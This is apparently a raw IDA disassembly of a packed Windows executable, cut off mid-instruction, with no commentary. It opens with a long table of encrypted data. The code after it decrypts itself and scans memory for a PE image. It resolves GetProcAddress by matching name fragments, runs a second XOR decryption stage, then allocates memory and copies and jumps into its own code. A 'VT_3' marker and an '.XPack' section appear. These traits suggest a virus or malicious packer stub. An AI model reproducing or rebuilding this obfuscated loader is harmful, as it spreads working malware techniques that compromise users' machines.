8E3E251Bh, 0B9463777h dd 625B2E6Bh, 0F53D4091h, 1B212D0Eh, 9B4AE60Eh, 9FA86D3Ch dd 8F94FBF9h, 894C6659h, 0B9029230h, 0DB8DF781h, 0E663E404h dd 9E7A3F4Fh, 34D6BADDh, 7B1F6967h, 4E154F7Dh, 683265DAh dd 42729833h, 0DA55B60Eh, 56E6ABA1h, 9AD59E9Ch, 0C9A7F0DAh dd 0F3052BCEh, 63C5C2FDh, 8FFFE4A9h, 0CDDDA873h, 5426DBE5h dd 0B076556Bh, 12C6AE6Fh, 5575DE96h, 62D41E59h, 7435202Ch dd 229EF8DAh, 450AB631h, 4899FBBAh, 0C5A018FBh, 0D2D137C3h dd 0C5F7E3FFh, 0BE3021F5h, 75D473E2h, 65EDE1E9h, 0BBE4EA0Bh dd 823E8E27h, 8C56742Eh, 50CD3698h, 0D5DE31D7h, 60E1DD98h dd 9FC899FAh, 1FB73611h, 25B31DADh, 7CAFF4Dh, 0D874DB13h dd 25000504h, 0B0CC66A0h, 0EEDB8297h, 35F81349h, 638A97Fh dd 153C14E8h, 0F89B4AB0h, 197F191Bh, 7967881h, 0A9EA1283h dd 3EBC42E0h, 3A8A500Bh, 0FBB7A06Dh, 8147EEA0h, 0E5115A11h dd 6F58E43h, 0D735424Fh, 0DA9D2F5Dh, 0CF2C8156h, 3E24B0E1h dd 29A3B1C5h, 0E0A0A513h, 0DFC29523h, 4348DA81h, 0E3AC3705h dd 5EE97FD1h, 0AF4A848Ch, 0BEDFF469h, 9092F358h, 0ED89B575h dd 0E9E58F31h, 0F4EE0B51h, 8F6C8E11h, 0DBA1E1A4h, 2AD52C53h dd 0BE95D3A9h, 4D48A0C4h, 5C9AD716h, 0B6429ADDh, 9BE6A043h dd 1441867Eh, 0EBB1AA16h, 59C4C22Fh, 3D2F16Fh, 0CA056604h dd 3E550A87h, 0F5A59F76h, 912D7DCh, 86C3CF20h, 6D56204Bh dd 1D2D3C9Bh, 2882DF0Bh, 73643FDCh, 3DE219FCh, 59474004h dd 58A63CB1h, 4D223F56h, 1A0324B3h, 0DCE8C504h, 78AF3A0Fh dd 28A3C235h, 0C0F1473Bh, 521E9EC1h, 5F261BA8h, 33B5B4F3h dd 92F4448Ch, 0A995D54Ah, 47AAC7FCh, 572D49EDh, 0BA2635Bh dd 3D8BC17Fh, 31E50A68h, 0F1D5A59Dh, 0EBB1101h, 0E1A084A0h dd 0F0019508h, 12A46E68h, 6B07DD29h, 5F015520h, 0C4FB4AA0h dd 0FE55BFF6h, 40CF31C7h, 5C1EB40Eh, 102C0A7Ch, 7D22E743h dd 0E08C5D73h, 23CCCC09h, 5E896B90h, 0BA54C6C1h, 45442EF8h dd 0E841D04Fh, 0F13F470Ch, 0BF69BE96h, 0AFAE1589h, 78142BD6h dd 42079F01h, 0C219B762h, 633515C6h, 6EAC786Ah, 79812212h dd 36B4DAFAh, 4BC63D82h, 0CDB3C0D0h, 0F8C9171Eh, 7C7182Fh dd 3E0F2BFEh, 9EFE61A3h, 0B64B2A76h, 0CE16D7C9h, 65DA70Ch dd 731F2E1Eh, 0C1390EBEh, 5D57FA54h, 5998D95Dh, 0D4FCA1EDh dd 159A4334h, 0E8C39AC6h, 271D4511h, 874DD151h, 90F91637h dd 0F862AADEh, 0BE58607Ch dd 0D1BE017Fh, 0EF4E2DCFh, 96CA3E85h, 18C667AFh, 392C62Bh dd 24A5BAB3h, 7EA85EE6h, 68667D81h, 47AD1E00h, 0CE078654h dd 7939E4FAh, 627A6E14h, 0BB0BB348h, 5476314Bh, 0BB904350h dd 0E92512A0h, 0B677A325h, 4496F7ADh, 3BD7C9B5h, 0C62A532Fh dd 8EF03B8Ch, 0F1AA5B9Dh, 3EA260A6h, 58E0D4B7h, 0D03E5A85h dd 6A96CE5Fh, 68E404ABh, 3337AC22h, 5731B0C3h, 0F680A766h dd 0DF8645D2h, 8525FEEFh, 7B301200h, 0DD62279Dh, 0DEA29B0Eh dd 51E74F02h, 0CFAC3AE4h, 31A93776h, 0CBD086D4h, 0A77E4772h dd 0CA7E35A4h, 45FCE5C6h, 907CE0ADh, 256EA321h, 921969B2h dd 96534BB2h, 0B4E99E10h, 0D1EC1021h, 0BB23165Fh, 5FDD622h dd 95A05F8Fh, 0D64F0A82h, 5E878331h, 0BFD27950h, 25E26FF6h dd 17FE751Ch, 5D970DA5h, 0A7423024h, 0A62387E1h, 82168600h dd 0C0F18C52h, 0C380D6Ch, 31629CBAh, 397F1882h, 2E3B664Ch dd 42496564h, 6C25681Dh, 0F99E4866h, 631D0580h, 0EBE22724h dd 0CE88B485h, 0D4260659h, 7B8F1A63h, 0B846171h, 0B6612415h dd 5A0F255Bh, 7DEF6BF7h, 9839E85Bh, 33B70003h, 6F3E88DEh dd 4B7C551Bh, 30DAD75Bh, 0E4225F5Ah, 0C5FB5064h, 96BB7670h dd 0B9F18420h, 0C0A13384h, 1406C34Fh, 2DA2A5EEh, 2A6EA6A8h dd 1ABECF47h, 17167433h, 0C19F9EDDh, 0E206A41Ah, 39F62E68h dd 9D84FA5Bh, 8DE65783h, 1D69011h, 0C2C0FAA1h, 7878E719h dd 5EBCCC01h, 746C0944h, 71CAF8E8h, 0AF4B310Ch, 92EBDC4h dd 4834EB8Fh, 3600C292h, 0F7682107h, 0BAFB23F2h, 13E1358Bh dd 83C21A69h, 0B58DAEDCh, 3F7FB2BEh, 0B05F721Ch, 0B74A9FDBh dd 0C1096629h, 1F9FDFCFh, 35333CF0h, 3217B41Dh, 4684BC61h dd 8592BDB5h, 25C32B13h, 8AFC808Dh, 8C67C0DEh, 963BC84Ch dd 0CB2487EEh, 17A0C2h, 4DD9EBB4h, 1815BBDh, 0D9973694h dd 0A43CE180h, 9A9BAE9Ah, 0E4B4B4F3h, 0F641BB6Bh, 7130275Eh dd 3837FD6h, 8B3E7300h, 0AFF936CFh, 122E0583h, 0B51BA338h dd 622C406h, 0A1060C7Fh, 0ACD9A15Bh, 8DF3E3C8h, 9F28AFACh dd 0DC971645h, 0E71F20A6h, 0DE5B0D33h, 1A8BEA52h, 0F34DB916h dd 3F53F29h, 99EC205Eh, 0E7CB27D4h, 2C260ED7h, 447EEBC0h dd 74FC8E8Bh, 359DC4AEh, 0B0B32CB7h, 9FCB6035h, 0EF113F0Bh dd 768FCA9Ah, 0DA4839Dh, 89BBE824h, 2F6475DAh, 0F289BD35h dd 99B76D1Ah, 8C62B5DCh, 0CF4CDF0Ah, 4D078F48h, 0B0EE9862h dd 7F4A0E27h, 34B323E7h, 86EA26CAh, 0D5A4F158h, 861611B4h dd 51CA70Eh, 0C8C523FBh, 0F91C274Eh, 0B39A8D1Ch, 0EBB8DD70h dd 0D98CA107h, 0E8F4B3F3h, 5B7E9C83h, 830D4EA9h, 9D6F68B8h dd 3EED56A0h, 0BB741069h, 2028C510h, 50CF5FF8h, 221D3F31h dd 881210F7h, 5D0C63D5h, 0A08E2EADh, 17BC82Eh, 701679FCh dd 96FBAEE5h, 7FBFC31h, 0D428B196h, 0EE51FC13h, 0EDFC6BEAh dd 708E9CB5h, 750F3EC9h, 0C02C720Fh, 48D97CA7h, 0E4A22F9h dd 412594A5h, 0DB2F6608h, 4D9A044Bh, 194B32D9h, 0E81BA7B9h dd 0DD507753h, 0BB36EC8Fh, 3C1376B5h, 8F5C3CC0h, 0A9AB51E2h dd 0FBFFC525h, 1FF778CBh, 0E11CEBBCh, 0BBB8E49Dh, 0AA4C10FFh dd 0EFE876D5h, 8C249346h, 4575688Bh, 9B3BDA4h, 5F34B00h dd 0D158CBA0h, 0AE2EF3D8h, 7F28859Dh, 2B9C32A0h, 4A69852Eh dd 3A00959Fh, 80266AFBh, 1C29242Eh, 1A5B5021h, 0F63D5ED1h dd 66AAA9E2h, 0F31E323Dh, 0EF112482h, 20A0D9FAh, 0A9522A72h dd 9B6B7CF7h, 0A7FCDE3Ch, 695F0C18h, 0C6C1397Dh, 0FBE99192h dd 70BF492Dh, 74C3C27Fh, 0A4340D89h, 6588447Ch, 0A1CE4D61h dd 755C8E39h, 83939F0Ah, 6B76952Bh, 0E8BF2E97h, 2C77FB3h dd 98A1E25h, 0ACCAF464h, 6F7B6DCCh, 0C40D4DBDh, 0AE2FB025h dd 0A56B584Ah, 9D239F35h, 0A6E73958h, 9E3EC58Ch, 992B3627h dd 0F214B1A2h, 5662DF1Ah, 0CEEC7584h, 84FEE708h, 69883427h dd 0F797FE79h, 0C996D6F8h, 0A37723B4h, 490D2867h, 0EDC8C37Ch dd 246C1676h, 586E3EA9h, 43238201h, 0FC17555Dh, 5869F467h dd 0CD649FCEh, 0C4B8111h, 6BF0CB8Ch, 45C6FFFh, 42BBD79Fh dd 3F9A093Dh, 28DFE34Ah, 0B7EABACEh, 0AF8B8CC4h, 0C1ECBC2Fh dd 8A0E3852h, 4A8B14BEh, 0D80D2D11h, 788FF1BAh, 75A2B7F7h dd 0B483836Ah, 4451F0EBh, 0DC4292E0h, 5A7BB89Ah, 0EA74125Dh dd 0F09C0E03h, 8C66E14Ch, 76C588A6h, 35C4E35h, 2A2E7848h dd 0D2FA2D68h, 390610C2h, 0BAAE3A13h, 0A1B9E8D6h, 0D03CCEF8h dd 0CF06EC16h, 8BE010Bh, 0A36A1D3Fh, 855181CBh, 20871500h dd 7AAA93F7h, 36D3FCBAh, 9E66CDA3h, 5D349ABh, 0E485BD31h dd 3A3A016h, 10C75C25h, 0F52F4E50h, 0D4041C30h, 1BC300D4h dd 287808C9h, 397553F7h, 66A2419Bh, 77BBF4CFh, 0E181A447h dd 0D10ADBB9h, 39FF65ABh, 427AD358h, 0D4EFB8A6h, 0BBC03EE3h dd 88E05FE3h, 1B1189FEh, 3F7313BEh, 6006802Fh, 0B040AEE8h dd 115ACFDFh, 46E7B3EAh, 82F4FB22h, 8B332562h, 0B24BFA48h dd 634A8F7h, 6E1FEAD6h, 1352B14Bh, 8B981E16h, 93F39CFEh dd 0F12BD802h, 0B8E2D944h, 1F02C6FFh, 30D20D2Eh, 692A452Ah dd 0B9A42CF0h, 0E97E227Dh, 781D3B3Ch, 62C5E62Ah, 0EA6AFF5Fh dd 0C491287Ah, 1BB3FFBAh, 4DBC421Eh, 40C33AC3h, 40C3A8D2h dd 0E274CAEAh, 9CB0A0ECh, 16CC4702h, 0A34DA781h, 1DB25C64h dd 8D1DFBF6h, 9EC82193h, 0ABC0FC7Eh, 696E7CA6h, 0EA37B5BDh dd 0A9FD18DDh, 0E579BD7Bh, 9B5E86B4h, 65102B67h, 0F0B473F0h dd 74B7A51h, 908FBD7Dh, 8C51DEE0h, 5BDE0F50h, 15EF5715h dd 6E06F7C5h, 0E97D43D4h, 2A8BA876h, 16B2CA31h, 0AAFAC637h dd 5FB1116h, 0D552CC81h, 0DA546B42h, 5D14FF4Fh, 849DE5E7h dd 94CC9CCEh, 994EFE39h, 3D102005h, 0DC63D6C1h, 0BD57EA26h dd 0AE2449C1h, 0B04F359Bh, 958A5D80h, 1F441003h, 0AC4B610Ch dd 5F3F93D9h, 0F7A66A18h, 337503C4h, 2627B398h, 7AF6D814h dd 0AC2F8B06h, 0A69A3FC4h, 0D8BDC716h, 4C5FA5BCh, 9F256F1Ch dd 0CDD35915h, 0F993E75h, 2BF2978Ah, 2ACADA41h, 1BCC1B1Eh dd 6CAECC3Ah, 0F370D3A8h, 519D7733h, 5529DF50h, 56B05B92h dd 9231080Bh, 1D7B8D74h, 0BB546073h, 26131A34h, 0D5E86193h dd 6607F3C0h, 2CDFC531h, 7E224BEh, 37456F65h, 6B4A10EDh dd 5C69E026h, 845517B0h, 0E1DC16EDh, 3BBB73ADh, 7157CDB9h dd 0E51EF213h, 0C13E8320h, 0B9DD07E2h, 0A9A00B7Ah, 41A5E91Eh dd 772FD622h, 37429151h, 4B138E00h, 99DE4F1Dh, 0D0533FFDh dd 5FFA77F1h, 4B997D9Dh, 947B00B1h, 2EC5D747h, 0FE54D9B4h dd 70259140h, 0E5D9AC4Dh, 0DA05E478h, 0D151E614h, 97D780DDh dd 0B11124A3h, 0EC03F71Fh, 0DC2ED7B2h, 1D16A26Dh, 658E7F43h dd 931075D4h, 0C66DCF53h, 666BF070h, 2ED4E81Ch, 0F443C71Fh dd 966EC896h, 0FDFCEBh, 287922E9h, 0E730CF29h, 3F486199h dd 50B6E39Fh, 0BE15F608h, 19F64763h, 0DBE0A244h, 0F5DC92Ah dd 0FED49D42h, 0DAE933DEh, 4F57AF3Ch, 70620951h, 1536BC5Ch dd 0B6ACE656h, 0E9C8C867h, 5D075B53h, 0D73534FFh, 7529DB9Ah dd 227A1F05h, 890E9A04h, 56779F3Fh, 0A1FBE6E1h, 9E942E50h dd 0BBE3C196h, 50B62651h, 7E7232BDh, 6BEF1F19h, 0E23027D0h dd 8534BCDDh, 4BF26CB7h, 4F95C477h, 0D3203CCAh, 159ADFB6h dd 79EEA683h, 0C7D08F8Ah, 0B215B291h, 808609E6h, 0A4657ED2h dd 8BAB423Ch, 51DD3764h dd 0D88F9F3Eh, 0BEB91075h, 6C5CFBF8h, 91728715h, 7B6ADA7Ch dd 7C08BE7h, 41763650h, 0B980D9C1h, 2F9CAEB7h, 0E34EE28Ch dd 5EC69A3h, 9DE3BF8Ah, 334C67BDh, 6F005767h, 0F2E9CFB4h dd 68ABF13Ah, 0C0D309B0h, 29F4450Dh, 24A231AFh, 0A2AF5422h dd 91BAAA44h, 81EA0E10h, 0C7C2B991h, 8C275A13h, 47B5432Ch dd 6B990A51h, 0D708B660h, 28EA53F1h, 0CDA43557h, 82EF8CD7h dd 0C3A2429Eh, 0E5527C17h, 96081485h, 878402A3h, 0BF598438h dd 9267C134h, 21050E7Dh, 94F64F0Ch, 9E430342h, 18ECE9EDh dd 31C6632Dh, 82F22FA8h, 2C3AF99h, 9463B40Eh, 48B8B148h dd 48E8B247h, 0A6D39C7Bh, 0B539012Bh, 0F9B42D7Fh, 0C30A591Bh dd 398850ECh, 223DA826h, 0FAC92ADh, 17094302h, 88DF0555h dd 0C1008574h, 3A8F9408h, 8EEEC6Fh, 3B162B4Ah, 33707561h dd 0BDFAE0E4h, 54D85804h, 777F6949h, 909E0FFAh, 954BCF11h dd 0E2BD8DC9h, 0B05C574Dh, 96D3CCF4h, 0FE46BB15h, 11F1D9Bh dd 178B2FA8h, 0C486C634h, 0B4B28F01h, 0CC0861FAh, 0E6A7043Eh dd 0EC39EBEFh, 0C9E3CDB1h, 0DF2A3E17h, 5EBF82FFh, 9B8B725Dh dd 6009D266h, 40E2C45Fh, 16670710h, 9C62F42Eh, 0CF446DBh dd 10CE415Eh, 0C3003BBBh, 0B7B457A3h, 0A1EFFF11h, 0BF9758F2h dd 7DFCE38Fh, 57A34BE4h, 0A17A35D4h, 93D9470Bh, 564468FDh dd 45EBEF4Ah, 7164EB0Fh, 0D17DD4F0h, 30205E2Ah, 22ADECF4h dd 0A547EC74h, 0C0601BA6h, 53C0BFD3h, 9DCD2FDDh, 1CA38088h dd 93E1890Bh, 594D0B97h, 3EC6A847h, 0BC735E4Eh, 7177930Fh dd 0EF3753B5h, 85D61543h, 5020D9E3h, 0C0451D3Ch, 1E029523h dd 0C8B835Fh, 2251DF75h, 0CC43F0D6h, 9E18D2FFh, 1369686Fh dd 6CD85A9Bh, 0E083CDB4h, 0A1492060h, 6F341754h, 216B41Fh dd 79154166h, 238320F7h, 0A506CEB4h, 35E76EF5h, 2BF7265Bh dd 0CF11BC75h, 9DB21B04h, 59494FA9h, 81D08E55h, 0E372827h dd 17A9B533h, 1246548Ch, 79B42023h, 3588E1A0h, 16089DD1h dd 3C6CD8Bh, 94F83280h, 9D4B0935h, 9C301B63h, 884E6C87h dd 5B1CF94Bh, 0AFF10E94h, 0F8C0CF7Eh, 27B7C2BFh, 9352DFD2h dd 39489197h, 2D35FAD8h, 4A904FC3h, 4997F375h, 8B3A8DE3h dd 2804C36Bh, 65A421Dh, 0B3C59BD1h, 0BC9A683Fh, 0D225388Fh dd 804D25A4h, 2FB369D7h, 61035325h, 0C9E565E5h, 6B17EAAFh dd 1225B407h, 14F374F5h, 44EF83C4h, 89B2C5A4h, 0BEBA3178h dd 0A9479685h, 3F1E2180h, 84467D8h, 0B88159C3h, 7A7C70F8h dd 0A42470C5h, 64076479h, 1562D81Ch, 825E9663h, 42C18A61h dd 0C4DDA44Ch, 4495FAFAh, 87AD2BD0h, 0C60360CCh, 9502B9E1h dd 32D3D18Eh, 0CE635826h, 598B352Ch, 7FEA69B3h, 0B1BD0F29h dd 0E31BD4Ah, 0E893ED69h, 65B12490h, 62A24787h, 2B4260B9h dd 13DEF917h, 62C7257Fh, 2EDFEAB5h, 0D405F121h, 49427D97h dd 0C5847BD9h, 75AC9FB2h, 5B027104h, 4230D2FEh, 0F5EDC81Ch dd 3EF32383h, 2227404Fh, 5AD227D3h, 0B5340149h, 6C057987h dd 36E2FAF7h, 0FBD8AD6Bh, 33D69C51h, 4017624Bh, 8CA82D21h dd 2B7CE6B1h, 0C6FAFE70h, 0DC76C2BCh, 274DCEA5h, 0C0A555BEh dd 1E569E78h, 73F30434h, 0D4C131B7h, 26B164ADh, 0DE7D664Ch dd 0AB4EC646h, 85B63242h, 8DE323C7h, 7B49C912h, 0F18A9EBAh dd 0C0D5794Ch, 0C7EDA4B3h, 42FB11CDh, 25AE92ADh, 47727237h dd 6850E59h, 69E9270Ah, 0C91C9428h, 9D08BD26h, 0A286FEE8h dd 0B07354A9h, 0D193557Fh, 74D8D1BAh, 0DE56AA86h, 9EC051B8h dd 0EB61CDECh, 0DAD99F8Dh, 0C457E2EBh, 0FD342050h, 31216F3Bh dd 66363D8Bh, 2A06443Fh, 78066D41h, 83BFDED0h, 608BE432h dd 6D73F149h, 88D8B648h, 0C184040Dh, 0EB08EE57h, 0A285A494h dd 2EADF9DAh, 16B20800h, 0D8066A26h, 0FCB0031Bh, 987BE7D0h dd 34352DE8h, 335A7BF9h, 50A1048Dh, 9660B772h, 0F6F5306Bh dd 3649FA95h, 507410E6h, 602D37F8h, 0B272EBDDh, 54F646E4h dd 2C7588F0h, 50C2DB30h, 97229154h, 0C95F0306h, 0C0143B70h dd 0A5983732h, 0E8A50115h, 0EC2A09A3h, 265AFFAAh, 160C72ACh dd 39BEA792h, 70E1248Fh, 5F23A79Eh, 5CC828ECh, 72E9A64Fh dd 6757DA06h, 0CC26BB9Ah, 4356B548h, 0FF899A5Ch, 430254FDh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near push ebp mov ebp, esp call sub_4F9DFA call sub_4F9EB3 jmp loc_4F9E60 start endp ; =============== S U B R O U T I N E ======================================= sub_4F9DFA proc near ; CODE XREF: start+3p var_70 = dword ptr -70h var_68 = dword ptr -68h ; FUNCTION CHUNK AT 004F9ED3 SIZE 00000116 BYTES ; FUNCTION CHUNK AT 004FA057 SIZE 0000000A BYTES push dword ptr fs:0 mov fs:0, esp xor ebx, ebx push ebx push 80000000h push ebx push 80000000h push 80000000h push 80000000h push ebx push 80000000h push ebx push ebx push ebx push 10h push ebx call ds:dword_4E1034 ; GetProcAddress xor eax, eax push eax push 80000000h push 80000000h push 2 push 80000000h push eax push eax push 4 push eax push eax push eax push 80000000h push eax call ds:dword_4E1034 ; GetProcAddress loc_4F9E60: ; CODE XREF: start+Dj sub eax, eax loc_4F9E62: ; CODE XREF: sub_4F9DFA+6Ej dec al or al, al jz short loc_4F9E6C jnz short loc_4F9E62 jmp short loc_4F9ED3 ; --------------------------------------------------------------------------- loc_4F9E6C: ; CODE XREF: sub_4F9DFA+6Cj sub ebx, ebx sub ecx, ecx mov cl, 0EFh loc_4F9E72: ; CODE XREF: sub_4F9DFA+79j inc ebx loop loc_4F9E72 call sub_4F9EB0 sub esi, 0FFFFFFBAh push esi sub edx, edx or edx, 243Ch loc_4F9E89: ; CODE XREF: sub_4F9DFA+A1j xchg al, [esi] sub ax, bx xchg al, [esi] inc esi add bx, 1Ah sub edx, 1 or edx, edx jnz short loc_4F9E89 pop esi xchg ebp, fs:0 mov esp, ebp pop dword ptr fs:0 pop ebx pop ebp jmp esi sub_4F9DFA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4F9EB0 proc near ; CODE XREF: sub_4F9DFA+7Bp pop esi jmp esi sub_4F9EB0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4F9EB3 proc near ; CODE XREF: start+8p arg_C = dword ptr 10h mov edx, [esp+arg_C] xor eax, eax pop dword ptr [edx+0B8h] retn sub_4F9EB3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] test dword ptr [eax+242Bh], 80000000h ; START OF FUNCTION CHUNK FOR sub_4F9DFA loc_4F9ED3: ; CODE XREF: sub_4F9DFA+70j mov [eax+29ACh], ebx mov ebx, [esp+6Ch+var_68] jz short loc_4F9F0C cld pop ecx mov [eax+29B0h], esi mov [eax+29B4h], edi cmp byte ptr [eax+242Fh], 0E8h jnz short loc_4F9F03 add ebx, [eax+2430h] mov ebx, [ebx+2] push dword ptr [ebx] jmp short loc_4F9F0B ; --------------------------------------------------------------------------- loc_4F9F03: ; CODE XREF: sub_4F9DFA+FAj mov ebx, [eax+2431h] push dword ptr [ebx] loc_4F9F0B: ; CODE XREF: sub_4F9DFA+107j pop ebx loc_4F9F0C: ; CODE XREF: sub_4F9DFA+E3j push ebp xchg eax, ebp sub [esp+6Ch+var_68], 18EC6h and ebx, 0FFFFF000h sub ebp, offset loc_401006 mov edi, [esp+6Ch+var_68] lea esi, [ebp+40343Ch] mov ecx, 0 rep movsb loc_4F9F33: ; CODE XREF: sub_4F9DFA+155j cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_4F9F49 mov eax, [ebx+3Ch] lea eax, [eax+ebx] cmp word ptr [eax], 4550h jz short loc_4F9F51 loc_4F9F49: ; CODE XREF: sub_4F9DFA+140j sub ebx, 100h jnz short loc_4F9F33 loc_4F9F51: ; CODE XREF: sub_4F9DFA+14Dj mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_4F9F5F: ; CODE XREF: sub_4F9DFA:loc_4F9F86j lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_4F9F86 cmp dword ptr [eax+3], 636F7250h jnz short loc_4F9F86 cmp dword ptr [eax+7], 72646441h jnz short loc_4F9F86 cmp dword ptr [eax+0Bh], 737365h jz short loc_4F9F8B loc_4F9F86: ; CODE XREF: sub_4F9DFA+16Fj ; sub_4F9DFA+178j ... loop loc_4F9F5F pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4F9F8B: ; CODE XREF: sub_4F9DFA+18Aj sub [esp+70h+var_70], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_4F9FB1+2 inc ebx insb outsd jnb short near ptr loc_4FA00F+2 dec eax popa outsb db 64h insb loc_4F9FB1: ; CODE XREF: sub_4F9DFA+1A8p add gs:[ebx-1], dl setalc mov dword ptr ss:loc_40353C[ebp], eax call near ptr loc_4F9FCD+1 inc ebx jb short near ptr loc_4FA028+1 popa jz short near ptr loc_4FA028+4 inc ebp jbe short near ptr loc_4FA02E+1 outsb jz short near ptr loc_4FA00C+2 loc_4F9FCD: ; CODE XREF: sub_4F9DFA+1C2p add [ebx-1], dl setalc mov [ebp+403540h], eax call sub_4F9FE9 inc edi db 65h jz short near ptr loc_4FA028+4 popa jnb short loc_4FA057 inc ebp jb short near ptr loc_4FA057+1 outsd jb short $+2 ; END OF FUNCTION CHUNK FOR sub_4F9DFA ; =============== S U B R O U T I N E ======================================= sub_4F9FE9 proc near ; CODE XREF: sub_4F9DFA+1DDp ; FUNCTION CHUNK AT 004FA092 SIZE 000000B1 BYTES ; FUNCTION CHUNK AT 004FA1D2 SIZE 0000013A BYTES push ebx call esi mov [ebp+403544h], eax call sub_4FA067 test eax, eax jz short loc_4FA01C push eax call dword ptr [ebp+403544h] test eax, eax jnz short loc_4FA016 lea eax, loc_4011D2[ebp] loc_4FA00C: ; CODE XREF: sub_4F9DFA+1D1j mov dl, [eax-1] loc_4FA00F: ; CODE XREF: sub_4F9DFA+1B0j call sub_4FA082 jmp short loc_4FA092 ; --------------------------------------------------------------------------- loc_4FA016: ; CODE XREF: sub_4F9FE9+1Bj ; sub_4F9FE9+136j ... call dword ptr ss:loc_40353C[ebp] loc_4FA01C: ; CODE XREF: sub_4F9FE9+10j test dword ptr [ebp+403431h], 80000000h jz short loc_4FA046 loc_4FA028: ; CODE XREF: sub_4F9DFA+1C8j ; sub_4F9DFA+1CBj ... lea esi, loc_403435[ebp] loc_4FA02E: ; CODE XREF: sub_4F9DFA+1CEj mov edi, [esp+4] movsb movsd mov ebx, [ebp+4039B2h] mov esi, dword ptr ss:loc_4039B6[ebp] mov edi, [ebp+4039BAh] loc_4FA046: ; CODE XREF: sub_4F9FE9+3Dj pop ebp retn sub_4F9FE9 endp ; --------------------------------------------------------------------------- loc_4FA048: ; CODE XREF: sub_4FA067+2p ; sub_4F9FE9:loc_4FA251p pop edx push 0 push 0 push 0 push 0 push 40001h ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4F9DFA loc_4FA057: ; CODE XREF: sub_4F9DFA+1E7j ; sub_4F9DFA+1EAj les ebp, [edx+0] push eax push 0Ch mov eax, esp jmp edx ; END OF FUNCTION CHUNK FOR sub_4F9DFA ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_4FA067 proc near ; CODE XREF: sub_4F9FE9+9p ; .XPack:loc_4FAD0Cp xor ecx, ecx call loc_4FA048 lea edx, [ebp+4011A1h] push edx push ecx push ecx push eax call dword ptr [ebp+403540h] add esp, 20h retn sub_4FA067 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4FA082 proc near ; CODE XREF: sub_4F9FE9:loc_4FA00Fp ; sub_4FBE56+25Bp mov dh, dl mov ecx, 225Fh loc_4FA089: ; CODE XREF: sub_4FA082+Cj xor [eax], dl inc eax add dl, dh loop loc_4FA089 retn sub_4FA082 endp ; --------------------------------------------------------------------------- db 33h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4F9FE9 loc_4FA092: ; CODE XREF: sub_4F9FE9+2Bj and dword ptr [ebp+401580h], 0 and dword ptr ss:loc_401584[ebp], 0 and dword ptr [ebp+401588h], 0 mov eax, [ebp+403431h] xor ecx, ecx push 1 mov cl, 20h pop dword ptr [ebp+40397Eh] loc_4FA0B9: ; CODE XREF: sub_4F9FE9+E0j xor edx, edx shr eax, 1 setb dl shl dl, 3 add [ebp+40397Eh], edx loop loc_4FA0B9 push edi mov byte ptr [ebp+401303h], 1 mov dword ptr ss:loc_403548[ebp], esi lea esi, [ebp+4015BBh] xor ecx, ecx lea edi, [ebp+403558h] mov cl, 1Eh call sub_4FA44C pop edi call dword ptr [ebp+403594h] shr eax, 1Fh jz loc_4FA1D2 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+403550h], eax push 69CEh push 0 call dword ptr [ebp+4035C8h] test eax, eax jz loc_4FA016 xchg eax, edi lea esi, sub_401000[ebp] mov ebp, edi mov ecx, 0A74h sub ebp, offset sub_401000 lea edx, [ebp+401283h] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_4F9FE9 ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, loc_401A3D[ebp] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+403550h] add esp, 20h test eax, eax jz loc_4FA016 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+403550h] test eax, eax jz loc_4FA016 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+403550h] push 1000Ah call dword ptr [ebp+403550h] call sub_4FA1C2 jmp loc_4FA016 ; =============== S U B R O U T I N E ======================================= sub_4FA1C2 proc near ; CODE XREF: .XPack:004FA1B8p ; sub_4FA1C2+Dj push 1 pop ecx jecxz short locret_4FA1D1 push 0Ah call dword ptr [ebp+4035BCh] jmp short sub_4FA1C2 ; --------------------------------------------------------------------------- locret_4FA1D1: ; CODE XREF: sub_4FA1C2+3j retn sub_4FA1C2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4F9FE9 loc_4FA1D2: ; CODE XREF: sub_4F9FE9+10Fj cmp dword ptr [ebp+403570h], 0 jz loc_4FA016 call near ptr loc_4FA1E9+1 dec esi push esp inc esp dec esp dec esp loc_4FA1E9: ; CODE XREF: sub_4F9FE9+1F6p add bh, bh xchg eax, ebp mov ds:0B58D0040h, dh jnb short near ptr loc_4FA206+5 inc eax add [ebx], dh leave lea edi, [ebp+4035D0h] mov cl, 0Bh xchg eax, ebx call sub_4FA44C loc_4FA206: ; CODE XREF: sub_4F9FE9+209j cmp dword ptr [ebp+4035F8h], 0 jz loc_4FA016 mov eax, [ebp+4035D4h] push dword ptr [eax+1] pop dword ptr [ebp+403395h] mov eax, [ebp+4035E8h] push dword ptr [eax+1] pop dword ptr [ebp+4033E2h] mov eax, [ebp+4035D8h] push dword ptr [eax+1] pop dword ptr ss:loc_4033E9[ebp] mov ecx, dword ptr ss:loc_4035DC[ebp] jecxz short loc_4FA251 push dword ptr [ecx+1] pop dword ptr ss:loc_4033F6[ebp] loc_4FA251: ; CODE XREF: sub_4F9FE9+25Dj call loc_4FA048 lea edi, 